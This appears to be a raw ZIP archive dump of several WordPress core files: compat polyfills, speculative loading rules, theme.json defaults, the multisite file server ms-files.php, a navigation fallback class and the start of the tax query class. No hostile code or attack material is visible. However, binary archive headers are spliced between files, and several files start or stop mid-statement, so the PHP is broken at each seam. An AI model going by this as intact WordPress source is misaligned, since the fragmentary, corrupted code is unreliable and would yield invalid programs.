( ! function_exists( 'mb_strlen' ) ) : /** * Compat function to mimic mb_strlen(). * * @ignore * @since 4.2.0 * * @see _mb_strlen() * * @param string $string The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$string`. */ function mb_strlen( $string, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_strlen( $string, $encoding ); } endif; /** * Internal compat function to mimic mb_strlen(). * * Only supports UTF-8 and non-shifting single-byte encodings. For all other * encodings expect the counts to be wrong. When the given encoding (or the * `blog_charset` if none is provided) isn’t UTF-8 then the function returns * the byte-count of the provided string. * * @ignore * @since 4.2.0 * * @param string $str The string to retrieve the character length from. * @param string|null $encoding Optional. Count characters according to this encoding. * Default is to consult `blog_charset`. * @return int Count of code points if UTF-8, byte length otherwise. */ function _mb_strlen( $str, $encoding = null ) { return _is_utf8_charset( $encoding ?? get_option( 'blog_charset' ) ) ? _wp_utf8_codepoint_count( $str ) : strlen( $str ); } if ( ! function_exists( 'utf8_encode' ) ) : if ( extension_loaded( 'mbstring' ) ) : /** * Converts a string from ISO-8859-1 to UTF-8. * * @deprecated Use {@see \mb_convert_encoding()} instead. * * @since 6.9.0 * * @param string $iso_8859_1_text Text treated as ISO-8859-1 (latin1) bytes. * @return string Text converted into a UTF-8. */ function utf8_encode( $iso_8859_1_text ): string { _deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' ); return mb_convert_encoding( $iso_8859_1_text, 'UTF-8', 'ISO-8859-1' ); } else : /** * @ignore * @private * * @since 6.9.0 */ function utf8_encode( $iso_8859_1_text ): string { _deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' ); return _wp_utf8_encode_fallback( $iso_8859_1_text ); } endif; endif; if ( ! function_exists( 'utf8_decode' ) ) : if ( extension_loaded( 'mbstring' ) ) : /** * Converts a string from UTF-8 to ISO-8859-1. * * @deprecated Use {@see \mb_convert_encoding()} instead. * * @since 6.9.0 * * @param string $utf8_text Text treated as UTF-8. * @return string Text converted into ISO-8859-1. */ function utf8_decode( $utf8_text ): string { _deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' ); return mb_convert_encoding( $utf8_text, 'ISO-8859-1', 'UTF-8' ); } else : /** * @ignore * @private * * @since 6.9.0 */ function utf8_decode( $utf8_text ): string { _deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' ); return _wp_utf8_decode_fallback( $utf8_text ); } endif; endif; // sodium_crypto_box() was introduced in PHP 7.2. if ( ! function_exists( 'sodium_crypto_box' ) ) { require ABSPATH . WPINC . '/sodium_compat/autoload.php'; } if ( ! function_exists( 'is_countable' ) ) { /** * Polyfill for is_countable() function added in PHP 7.3. * * Verify that the content of a variable is an array or an object * implementing the Countable interface. * * @since 4.9.6 * * @param mixed $value The value to check. * @return bool True if `$value` is countable, false otherwise. */ function is_countable( $value ) { return ( is_array( $value ) || $value instanceof Countable || $value instanceof SimpleXMLElement || $value instanceof ResourceBundle ); } } if ( ! function_exists( 'array_key_first' ) ) { /** * Polyfill for array_key_first() function added in PHP 7.3. * * Get the first key of the given array without affecting * the internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The first key of array if the array * is not empty; `null` otherwise. */ function array_key_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } foreach ( $array as $key => $value ) { return $key; } } } if ( ! function_exists( 'array_key_last' ) ) { /** * Polyfill for `array_key_last()` function added in PHP 7.3. * * Get the last key of the given array without affecting the * internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The last key of array if the array *. is not empty; `null` otherwise. */ function array_key_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } end( $array ); return key( $array ); } } if ( ! function_exists( 'array_is_list' ) ) { /** * Polyfill for `array_is_list()` function added in PHP 8.1. * * Determines if the given array is a list. * * An array is considered a list if its keys consist of consecutive numbers from 0 to count($array)-1. * * @see https://github.com/symfony/polyfill-php81/tree/main * * @since 6.5.0 * * @param array $arr The array being evaluated. * @return bool True if array is a list, false otherwise. */ function array_is_list( $arr ) { if ( ( array() === $arr ) || ( array_values( $arr ) === $arr ) ) { return true; } $next_key = -1; foreach ( $arr as $k => $v ) { if ( ++$next_key !== $k ) { return false; } } return true; } } if ( ! function_exists( 'str_contains' ) ) { /** * Polyfill for `str_contains()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if needle is * contained in haystack. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$needle` is in `$haystack`, otherwise false. */ function str_contains( $haystack, $needle ) { if ( '' === $needle ) { return true; } return false !== strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_starts_with' ) ) { /** * Polyfill for `str_starts_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack begins with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` starts with `$needle`, otherwise false. */ function str_starts_with( $haystack, $needle ) { if ( '' === $needle ) { return true; } return 0 === strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_ends_with' ) ) { /** * Polyfill for `str_ends_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack ends with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` ends with `$needle`, otherwise false. */ function str_ends_with( $haystack, $needle ) { if ( '' === $haystack ) { return '' === $needle; } $len = strlen( $needle ); return substr( $haystack, -$len, $len ) === $needle; } } if ( ! function_exists( 'array_find' ) ) { /** * Polyfill for `array_find()` function added in PHP 8.4. * * Searches an array for the first element that passes a given callback. * * @since 6.8.0 * * @param array $array The array to search. * @param callable $callback The callback to run for each element. * @return mixed|null The first element in the array that passes the `$callback`, otherwise null. */ function array_find( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return $value; } } return null; } } if ( ! function_exists( 'array_find_key' ) ) { /** * Polyfill for `array_find_key()` function added in PHP 8.4. * * Searches an array for the first key that passes a given callback. * * @since 6.8.0 * * @param array $array The array to search. * @param callable $callback The callback to run for each element. * @return int|string|null The first key in the array that passes the `$callback`, otherwise null. */ function array_find_key( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return $key; } } return null; } } if ( ! function_exists( 'array_any' ) ) { /** * Polyfill for `array_any()` function added in PHP 8.4. * * Checks if any element of an array passes a given callback. * * @since 6.8.0 * * @param array $array The array to check. * @param callable $callback The callback to run for each element. * @return bool True if any element in the array passes the `$callback`, otherwise false. */ function array_any( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return true; } } return false; } } if ( ! function_exists( 'array_all' ) ) { /** * Polyfill for `array_all()` function added in PHP 8.4. * * Checks if all elements of an array pass a given callback. * * @since 6.8.0 * * @param array $array The array to check. * @param callable $callback The callback to run for each element. * @return bool True if all elements in the array pass the `$callback`, otherwise false. */ function array_all( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( ! $callback( $value, $key ) ) { return false; } } return true; } } if ( ! function_exists( 'array_first' ) ) { /** * Polyfill for `array_first()` function added in PHP 8.5. * * Returns the first element of an array. * * @since 6.9.0 * * @param array $array The array to get the first element from. * @return mixed|null The first element of the array, or null if the array is empty. */ function array_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } foreach ( $array as $value ) { return $value; } } } if ( ! function_exists( 'array_last' ) ) { /** * Polyfill for `array_last()` function added in PHP 8.5. * * Returns the last element of an array. * * @since 6.9.0 * * @param array $array The array to get the last element from. * @return mixed|null The last element of the array, or null if the array is empty. */ function array_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } return $array[ array_key_last( $array ) ]; } } // IMAGETYPE_AVIF constant is only defined in PHP 8.x or later. if ( ! defined( 'IMAGETYPE_AVIF' ) ) { define( 'IMAGETYPE_AVIF', 19 ); } // IMG_AVIF constant is only defined in PHP 8.x or later. if ( ! defined( 'IMG_AVIF' ) ) { define( 'IMG_AVIF', IMAGETYPE_AVIF ); } // IMAGETYPE_HEIF constant is only defined in PHP 8.5 or later. if ( ! defined( 'IMAGETYPE_HEIF' ) ) { define( 'IMAGETYPE_HEIF', 20 ); } PK!ÒtÉC˜!˜!speculative-loading.phpnuȯÝí|null Associative array with 'mode' and 'eagerness' keys, or null if speculative * loading is disabled. */ function wp_get_speculation_rules_configuration(): ?array { // By default, speculative loading is only enabled for sites with pretty permalinks when no user is logged in. if ( ! is_user_logged_in() && get_option( 'permalink_structure' ) ) { $config = array( 'mode' => 'auto', 'eagerness' => 'auto', ); } else { $config = null; } /** * Filters the way that speculation rules are configured. * * The Speculation Rules API is a web API that allows to automatically prefetch or prerender certain URLs on the * page, which can lead to near-instant page load times. This is also referred to as speculative loading. * * There are two aspects to the configuration: * * The "mode" (whether to "prefetch" or "prerender" URLs). * * The "eagerness" (whether to speculatively load URLs in an "eager", "moderate", or "conservative" way). * * By default, the speculation rules configuration is decided by WordPress Core ("auto"). This filter can be used * to force a certain configuration, which could for instance load URLs more or less eagerly. * * For logged-in users or for sites that are not configured to use pretty permalinks, the default value is `null`, * indicating that speculative loading is entirely disabled. * * @since 6.8.0 * @see https://developer.chrome.com/docs/web-platform/prerender-pages * * @param array|null $config Associative array with 'mode' and 'eagerness' keys, or `null`. The * default value for both of the keys is 'auto'. Other possible values * for 'mode' are 'prefetch' and 'prerender'. Other possible values for * 'eagerness' are 'eager', 'moderate', and 'conservative'. The value * `null` is used to disable speculative loading entirely. */ $config = apply_filters( 'wp_speculation_rules_configuration', $config ); // Allow the value `null` to indicate that speculative loading is disabled. if ( null === $config ) { return null; } // Sanitize the configuration and replace 'auto' with current defaults. $default_mode = 'prefetch'; $default_eagerness = 'conservative'; if ( ! is_array( $config ) ) { return array( 'mode' => $default_mode, 'eagerness' => $default_eagerness, ); } if ( ! isset( $config['mode'] ) || 'auto' === $config['mode'] || ! WP_Speculation_Rules::is_valid_mode( $config['mode'] ) ) { $config['mode'] = $default_mode; } if ( ! isset( $config['eagerness'] ) || 'auto' === $config['eagerness'] || ! WP_Speculation_Rules::is_valid_eagerness( $config['eagerness'] ) || // 'immediate' is a valid eagerness, but for safety WordPress does not allow it for document-level rules. 'immediate' === $config['eagerness'] ) { $config['eagerness'] = $default_eagerness; } return array( 'mode' => $config['mode'], 'eagerness' => $config['eagerness'], ); } /** * Returns the full speculation rules data based on the configuration. * * Plugins with features that rely on frontend URLs to exclude from prefetching or prerendering should use the * {@see 'wp_speculation_rules_href_exclude_paths'} filter to ensure those URL patterns are excluded. * * Additional speculation rules other than the default rule from WordPress Core can be provided by using the * {@see 'wp_load_speculation_rules'} action and amending the passed WP_Speculation_Rules object. * * @since 6.8.0 * @access private * * @return WP_Speculation_Rules|null Object representing the speculation rules to use, or null if speculative loading * is disabled in the current context. */ function wp_get_speculation_rules(): ?WP_Speculation_Rules { $configuration = wp_get_speculation_rules_configuration(); if ( null === $configuration ) { return null; } $mode = $configuration['mode']; $eagerness = $configuration['eagerness']; $prefixer = new WP_URL_Pattern_Prefixer(); $base_href_exclude_paths = array( $prefixer->prefix_path_pattern( '/wp-*.php', 'site' ), $prefixer->prefix_path_pattern( '/wp-admin/*', 'site' ), $prefixer->prefix_path_pattern( '/*', 'uploads' ), $prefixer->prefix_path_pattern( '/*', 'content' ), $prefixer->prefix_path_pattern( '/*', 'plugins' ), $prefixer->prefix_path_pattern( '/*', 'template' ), $prefixer->prefix_path_pattern( '/*', 'stylesheet' ), ); /* * If pretty permalinks are enabled, exclude any URLs with query parameters. * Otherwise, exclude specifically the URLs with a `_wpnonce` query parameter or any other query parameter * containing the word `nonce`. */ if ( get_option( 'permalink_structure' ) ) { $base_href_exclude_paths[] = $prefixer->prefix_path_pattern( '/*\\?(.+)', 'home' ); } else { $base_href_exclude_paths[] = $prefixer->prefix_path_pattern( '/*\\?*(^|&)*nonce*=*', 'home' ); } /** * Filters the paths for which speculative loading should be disabled. * * All paths should start in a forward slash, relative to the root document. The `*` can be used as a wildcard. * If the WordPress site is in a subdirectory, the exclude paths will automatically be prefixed as necessary. * * Note that WordPress always excludes certain path patterns such as `/wp-login.php` and `/wp-admin/*`, and those * cannot be modified using the filter. * * @since 6.8.0 * * @param string[] $href_exclude_paths Additional path patterns to disable speculative loading for. * @param string $mode Mode used to apply speculative loading. Either 'prefetch' or 'prerender'. */ $href_exclude_paths = (array) apply_filters( 'wp_speculation_rules_href_exclude_paths', array(), $mode ); // Ensure that: // 1. There are no duplicates. // 2. The base paths cannot be removed. // 3. The array has sequential keys (i.e. array_is_list()). $href_exclude_paths = array_values( array_unique( array_merge( $base_href_exclude_paths, array_map( static function ( string $href_exclude_path ) use ( $prefixer ): string { return $prefixer->prefix_path_pattern( $href_exclude_path ); }, $href_exclude_paths ) ) ) ); $speculation_rules = new WP_Speculation_Rules(); $main_rule_conditions = array( // Include any URLs within the same site. array( 'href_matches' => $prefixer->prefix_path_pattern( '/*' ), ), // Except for excluded paths. array( 'not' => array( 'href_matches' => $href_exclude_paths, ), ), // Also exclude rel=nofollow links, as certain plugins use that on their links that perform an action. array( 'not' => array( 'selector_matches' => 'a[rel~="nofollow"]', ), ), // Also exclude links that are explicitly marked to opt out, either directly or via a parent element. array( 'not' => array( 'selector_matches' => ".no-{$mode}, .no-{$mode} a", ), ), ); // If using 'prerender', also exclude links that opt out of 'prefetch' because it's part of 'prerender'. if ( 'prerender' === $mode ) { $main_rule_conditions[] = array( 'not' => array( 'selector_matches' => '.no-prefetch, .no-prefetch a', ), ); } $speculation_rules->add_rule( $mode, 'main', array( 'source' => 'document', 'where' => array( 'and' => $main_rule_conditions, ), 'eagerness' => $eagerness, ) ); /** * Fires when speculation rules data is loaded, allowing to amend the rules. * * @since 6.8.0 * * @param WP_Speculation_Rules $speculation_rules Object representing the speculation rules to use. */ do_action( 'wp_load_speculation_rules', $speculation_rules ); return $speculation_rules; } /** * Prints the speculation rules. * * For browsers that do not support speculation rules yet, the `script[type="speculationrules"]` tag will be ignored. * * @since 6.8.0 * @access private */ function wp_print_speculation_rules(): void { $speculation_rules = wp_get_speculation_rules(); if ( null === $speculation_rules ) { return; } wp_print_inline_script_tag( (string) wp_json_encode( $speculation_rules, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), array( 'type' => 'speculationrules' ) ); } PK!,(æ\Ù"Ù" theme.jsonnuȯÝí{ "$schema": "https://schemas.wp.org/trunk/theme.json", "version": 3, "settings": { "appearanceTools": false, "useRootPaddingAwareAlignments": false, "border": { "color": false, "radius": false, "style": false, "width": false }, "color": { "background": true, "button": true, "caption": true, "custom": true, "customDuotone": true, "customGradient": true, "defaultDuotone": true, "defaultGradients": true, "defaultPalette": true, "duotone": [ { "name": "Dark grayscale", "colors": [ "#000000", "#7f7f7f" ], "slug": "dark-grayscale" }, { "name": "Grayscale", "colors": [ "#000000", "#ffffff" ], "slug": "grayscale" }, { "name": "Purple and yellow", "colors": [ "#8c00b7", "#fcff41" ], "slug": "purple-yellow" }, { "name": "Blue and red", "colors": [ "#000097", "#ff4747" ], "slug": "blue-red" }, { "name": "Midnight", "colors": [ "#000000", "#00a5ff" ], "slug": "midnight" }, { "name": "Magenta and yellow", "colors": [ "#c7005a", "#fff278" ], "slug": "magenta-yellow" }, { "name": "Purple and green", "colors": [ "#a60072", "#67ff66" ], "slug": "purple-green" }, { "name": "Blue and orange", "colors": [ "#1900d8", "#ffa96b" ], "slug": "blue-orange" } ], "gradients": [ { "name": "Vivid cyan blue to vivid purple", "gradient": "linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%)", "slug": "vivid-cyan-blue-to-vivid-purple" }, { "name": "Light green cyan to vivid green cyan", "gradient": "linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%)", "slug": "light-green-cyan-to-vivid-green-cyan" }, { "name": "Luminous vivid amber to luminous vivid orange", "gradient": "linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%)", "slug": "luminous-vivid-amber-to-luminous-vivid-orange" }, { "name": "Luminous vivid orange to vivid red", "gradient": "linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%)", "slug": "luminous-vivid-orange-to-vivid-red" }, { "name": "Very light gray to cyan bluish gray", "gradient": "linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%)", "slug": "very-light-gray-to-cyan-bluish-gray" }, { "name": "Cool to warm spectrum", "gradient": "linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%)", "slug": "cool-to-warm-spectrum" }, { "name": "Blush light purple", "gradient": "linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%)", "slug": "blush-light-purple" }, { "name": "Blush bordeaux", "gradient": "linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%)", "slug": "blush-bordeaux" }, { "name": "Luminous dusk", "gradient": "linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%)", "slug": "luminous-dusk" }, { "name": "Pale ocean", "gradient": "linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%)", "slug": "pale-ocean" }, { "name": "Electric grass", "gradient": "linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%)", "slug": "electric-grass" }, { "name": "Midnight", "gradient": "linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%)", "slug": "midnight" } ], "heading": true, "link": false, "palette": [ { "name": "Black", "slug": "black", "color": "#000000" }, { "name": "Cyan bluish gray", "slug": "cyan-bluish-gray", "color": "#abb8c3" }, { "name": "White", "slug": "white", "color": "#ffffff" }, { "name": "Pale pink", "slug": "pale-pink", "color": "#f78da7" }, { "name": "Vivid red", "slug": "vivid-red", "color": "#cf2e2e" }, { "name": "Luminous vivid orange", "slug": "luminous-vivid-orange", "color": "#ff6900" }, { "name": "Luminous vivid amber", "slug": "luminous-vivid-amber", "color": "#fcb900" }, { "name": "Light green cyan", "slug": "light-green-cyan", "color": "#7bdcb5" }, { "name": "Vivid green cyan", "slug": "vivid-green-cyan", "color": "#00d084" }, { "name": "Pale cyan blue", "slug": "pale-cyan-blue", "color": "#8ed1fc" }, { "name": "Vivid cyan blue", "slug": "vivid-cyan-blue", "color": "#0693e3" }, { "name": "Vivid purple", "slug": "vivid-purple", "color": "#9b51e0" } ], "text": true }, "dimensions": { "defaultAspectRatios": true, "aspectRatios": [ { "name": "Square - 1:1", "slug": "square", "ratio": "1" }, { "name": "Standard - 4:3", "slug": "4-3", "ratio": "4/3" }, { "name": "Portrait - 3:4", "slug": "3-4", "ratio": "3/4" }, { "name": "Classic - 3:2", "slug": "3-2", "ratio": "3/2" }, { "name": "Classic Portrait - 2:3", "slug": "2-3", "ratio": "2/3" }, { "name": "Wide - 16:9", "slug": "16-9", "ratio": "16/9" }, { "name": "Tall - 9:16", "slug": "9-16", "ratio": "9/16" } ] }, "shadow": { "defaultPresets": true, "presets": [ { "name": "Natural", "slug": "natural", "shadow": "6px 6px 9px rgba(0, 0, 0, 0.2)" }, { "name": "Deep", "slug": "deep", "shadow": "12px 12px 50px rgba(0, 0, 0, 0.4)" }, { "name": "Sharp", "slug": "sharp", "shadow": "6px 6px 0px rgba(0, 0, 0, 0.2)" }, { "name": "Outlined", "slug": "outlined", "shadow": "6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0)" }, { "name": "Crisp", "slug": "crisp", "shadow": "6px 6px 0px rgb(0, 0, 0)" } ] }, "spacing": { "blockGap": null, "margin": false, "padding": false, "customSpacingSize": true, "defaultSpacingSizes": true, "units": [ "px", "em", "rem", "vh", "vw", "%" ], "spacingScale": { "operator": "*", "increment": 1.5, "steps": 7, "mediumStep": 1.5, "unit": "rem" } }, "typography": { "customFontSize": true, "defaultFontSizes": true, "dropCap": true, "fontSizes": [ { "name": "Small", "slug": "small", "size": "13px" }, { "name": "Medium", "slug": "medium", "size": "20px" }, { "name": "Large", "slug": "large", "size": "36px" }, { "name": "Extra Large", "slug": "x-large", "size": "42px" } ], "fontStyle": true, "fontWeight": true, "letterSpacing": true, "lineHeight": false, "textAlign": true, "textDecoration": true, "textTransform": true, "writingMode": false }, "blocks": { "core/button": { "border": { "radius": true } }, "core/image": { "lightbox": { "allowEditing": true } }, "core/pullquote": { "border": { "color": true, "radius": true, "style": true, "width": true } } } }, "styles": { "blocks": { "core/button": { "variations": { "outline": { "border": { "width": "2px", "style": "solid", "color": "currentColor" }, "color": { "text": "currentColor", "gradient": "transparent none" }, "spacing": { "padding": { "top": "0.667em", "right": "1.33em", "bottom": "0.667em", "left": "1.33em" } } } } }, "core/site-logo": { "variations": { "rounded": { "border": { "radius": "9999px" } } } } }, "elements": { "button": { "color": { "text": "#fff", "background": "#32373c" }, "spacing": { "padding": { "top": "calc(0.667em + 2px)", "right": "calc(1.333em + 2px)", "bottom": "calc(0.667em + 2px)", "left": "calc(1.333em + 2px)" } }, "typography": { "fontSize": "inherit", "fontFamily": "inherit", "fontStyle": "inherit", "fontWeight": "inherit", "letterSpacing": "inherit", "textTransform": "inherit", "lineHeight": "inherit", "textDecoration": "none" }, "border": { "width": "0" } }, "link": { "typography": { "textDecoration": "underline" } } }, "spacing": { "blockGap": "24px", "padding": { "top": "0px", "right": "0px", "bottom": "0px", "left": "0px" } } } } PK!…R%Á) ) ms-files.phpnuȯÝíarchived || '1' === $current_blog->spam || '1' === $current_blog->deleted ) { status_header( 404 ); die( '404 — File not found.' ); } if ( ! defined( 'BLOGUPLOADDIR' ) ) { status_header( 500 ); die( '500 — Directory not configured.' ); } $file = rtrim( BLOGUPLOADDIR, '/' ) . '/' . str_replace( '..', '', $_GET['file'] ); if ( ! is_file( $file ) ) { status_header( 404 ); die( '404 — File not found.' ); } $mime = wp_check_filetype( $file ); if ( false === $mime['type'] && function_exists( 'mime_content_type' ) ) { $mime['type'] = mime_content_type( $file ); } if ( $mime['type'] ) { $mimetype = $mime['type']; } else { $mimetype = 'image/' . substr( $file, strrpos( $file, '.' ) + 1 ); } header( 'Content-Type: ' . $mimetype ); // Always send this. if ( ! str_contains( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) ) { header( 'Content-Length: ' . filesize( $file ) ); } // Optional support for X-Sendfile and X-Accel-Redirect. if ( WPMU_ACCEL_REDIRECT ) { header( 'X-Accel-Redirect: ' . str_replace( WP_CONTENT_DIR, '', $file ) ); exit; } elseif ( WPMU_SENDFILE ) { header( 'X-Sendfile: ' . $file ); exit; } $wp_last_modified = gmdate( 'D, d M Y H:i:s', filemtime( $file ) ); $wp_etag = '"' . md5( $wp_last_modified ) . '"'; header( "Last-Modified: $wp_last_modified GMT" ); header( 'ETag: ' . $wp_etag ); header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + 100000000 ) . ' GMT' ); // Support for conditional GET - use stripslashes() to avoid formatting.php dependency. if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ) { $client_etag = stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ); } else { $client_etag = ''; } if ( isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) { $client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ); } else { $client_last_modified = ''; } // If string is empty, return 0. If not, attempt to parse into a timestamp. $client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0; // Make a timestamp for our most recent modification. $wp_modified_timestamp = strtotime( $wp_last_modified ); if ( ( $client_last_modified && $client_etag ) ? ( ( $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag === $wp_etag ) ) : ( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag === $wp_etag ) ) ) { status_header( 304 ); exit; } // If we made it this far, just serve the file. readfile( $file ); flush(); PK!>»5é#é# class-wp-navigation-fallback.phpnuȯÝí 'wp_navigation', 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'order' => 'DESC', 'orderby' => 'date', 'post_status' => 'publish', 'posts_per_page' => 1, ); $navigation_post = new WP_Query( $parsed_args ); if ( count( $navigation_post->posts ) > 0 ) { return $navigation_post->posts[0]; } return null; } /** * Creates a Navigation Menu post from a Classic Menu. * * @since 6.3.0 * * @return int|WP_Error The post ID of the default fallback menu or a WP_Error object. */ private static function create_classic_menu_fallback() { // See if we have a classic menu. $classic_nav_menu = static::get_fallback_classic_menu(); if ( ! $classic_nav_menu ) { return new WP_Error( 'no_classic_menus', __( 'No Classic Menus found.' ) ); } // If there is a classic menu then convert it to blocks. $classic_nav_menu_blocks = WP_Classic_To_Block_Menu_Converter::convert( $classic_nav_menu ); if ( is_wp_error( $classic_nav_menu_blocks ) ) { return $classic_nav_menu_blocks; } if ( empty( $classic_nav_menu_blocks ) ) { return new WP_Error( 'cannot_convert_classic_menu', __( 'Unable to convert Classic Menu to blocks.' ) ); } // Create a new navigation menu from the classic menu. $classic_menu_fallback = wp_insert_post( array( 'post_content' => $classic_nav_menu_blocks, 'post_title' => $classic_nav_menu->name, 'post_name' => $classic_nav_menu->slug, 'post_status' => 'publish', 'post_type' => 'wp_navigation', ), true // So that we can check whether the result is an error. ); return $classic_menu_fallback; } /** * Determines the most appropriate classic navigation menu to use as a fallback. * * @since 6.3.0 * * @return WP_Term|null The most appropriate classic navigation menu to use as a fallback. */ private static function get_fallback_classic_menu() { $classic_nav_menus = wp_get_nav_menus(); if ( ! $classic_nav_menus || is_wp_error( $classic_nav_menus ) ) { return null; } $nav_menu = static::get_nav_menu_at_primary_location(); if ( $nav_menu ) { return $nav_menu; } $nav_menu = static::get_nav_menu_with_primary_slug( $classic_nav_menus ); if ( $nav_menu ) { return $nav_menu; } return static::get_most_recently_created_nav_menu( $classic_nav_menus ); } /** * Sorts the classic menus and returns the most recently created one. * * @since 6.3.0 * * @param WP_Term[] $classic_nav_menus Array of classic nav menu term objects. * @return WP_Term The most recently created classic nav menu. */ private static function get_most_recently_created_nav_menu( $classic_nav_menus ) { usort( $classic_nav_menus, static function ( $a, $b ) { return $b->term_id - $a->term_id; } ); return $classic_nav_menus[0]; } /** * Returns the classic menu with the slug `primary` if it exists. * * @since 6.3.0 * * @param WP_Term[] $classic_nav_menus Array of classic nav menu term objects. * @return WP_Term|null The classic nav menu with the slug `primary` or null. */ private static function get_nav_menu_with_primary_slug( $classic_nav_menus ) { foreach ( $classic_nav_menus as $classic_nav_menu ) { if ( 'primary' === $classic_nav_menu->slug ) { return $classic_nav_menu; } } return null; } /** * Gets the classic menu assigned to the `primary` navigation menu location * if it exists. * * @since 6.3.0 * * @return WP_Term|null The classic nav menu assigned to the `primary` location or null. */ private static function get_nav_menu_at_primary_location() { $locations = get_nav_menu_locations(); if ( isset( $locations['primary'] ) ) { $primary_menu = wp_get_nav_menu_object( $locations['primary'] ); if ( $primary_menu ) { return $primary_menu; } } return null; } /** * Creates a default Navigation Block Menu fallback. * * @since 6.3.0 * * @return int|WP_Error The post ID of the default fallback menu or a WP_Error object. */ private static function create_default_fallback() { $default_blocks = static::get_default_fallback_blocks(); // Create a new navigation menu from the fallback blocks. $default_fallback = wp_insert_post( array( 'post_content' => $default_blocks, 'post_title' => _x( 'Navigation', 'Title of a Navigation menu' ), 'post_name' => 'navigation', 'post_status' => 'publish', 'post_type' => 'wp_navigation', ), true // So that we can check whether the result is an error. ); return $default_fallback; } /** * Gets the rendered markup for the default fallback blocks. * * @since 6.3.0 * * @return string default blocks markup to use a the fallback. */ private static function get_default_fallback_blocks() { $registry = WP_Block_Type_Registry::get_instance(); // If `core/page-list` is not registered then use empty blocks. return $registry->is_registered( 'core/page-list' ) ? '' : ''; } } PK!!&¸yLyLclass-wp-tax-query.phpnuȯÝí> */ private static $no_results = array( 'join' => array( '' ), 'where' => array( '0 = 1' ), ); /** * A flat list of table aliases used in the JOIN clauses. * * @since 4.1.0 * @var array */ protected $table_aliases = array(); /** * Terms and taxonomies fetched by this query. * * We store this data in a flat array because they are referenced in a * number of places by WP_Query. * * @since 4.1.0 * @var array */ public $queried_terms = array(); /** * Database table that where the metadata's objects are stored (eg $wpdb->users). * * @since 4.1.0 * @var string */ public $primary_table; /** * Column in 'primary_table' that represents the ID of the object. * * @since 4.1.0 * @var string */ public $primary_id_column; /** * Constructor. * * @since 3.1.0 * @since 4.1.0 Added support for `$operator` 'NOT EXISTS' and 'EXISTS' values. * * @param array $tax_query { * Array of taxonomy query clauses. * * @type string $relation Optional. The MySQL keyword used to join * the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'. * @type array ...$0 { * An array of first-order clause parameters, or another fully-formed tax query. * * @type string $taxonomy Taxonomy being queried. Optional when field=term_taxonomy_id. * @type string|int|array $terms Term or terms to filter by. * @type string $field Field to match $terms against. Accepts 'term_id', 'slug', * 'name', or 